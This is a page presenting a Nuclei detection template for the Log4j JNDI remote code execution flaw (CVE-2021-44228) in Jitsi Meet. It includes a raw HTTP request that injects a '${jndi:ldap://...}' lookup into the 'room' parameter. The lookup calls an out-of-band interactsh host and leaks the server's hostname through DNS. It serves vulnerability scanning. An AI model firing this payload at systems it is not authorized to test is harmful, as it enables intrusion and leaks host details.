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Jitsi Meet - Remote Code Execution (Apache Log4j)

ID: jitsi-meet-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,jitsi,oast,kev

Description

Section titled “Description”

Jitsi Meet is susceptible to Log4j JNDI remote code execution. Jitsi is a collection of free and open-source multiplatform voice, video conferencing and instant messaging applications for the Web platforms.

YAML Source

Section titled “YAML Source”
id: jitsi-meet-log4j-rce


info:
  name: Jitsi Meet - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Jitsi Meet is susceptible to Log4j JNDI remote code execution. Jitsi is a collection of free and open-source multiplatform voice, video conferencing and instant messaging applications for the Web platforms.
  reference:
    - https://github.com/jitsi/security-advisories/blob/4e1ab58585a8a0593efccce77d5d0e22c5338605/advisories/JSA-2021-0004.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: title:"Jitsi Meet"
  tags: cve,cve2021,rce,jndi,log4j,jitsi,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"


http:
  - raw:
      - |
        GET /http-bind?room=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402202d03aabeb90242b3733a72fd6ebc3c42b7a4d7d30538eced6b1a6c3d6691898402205c99e7f9c286cb866644d8c430ac309fe88eb67633177b8b65ffe0fdf9fc0363:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/jitsi-meet-log4j-rce.yaml"

View on Github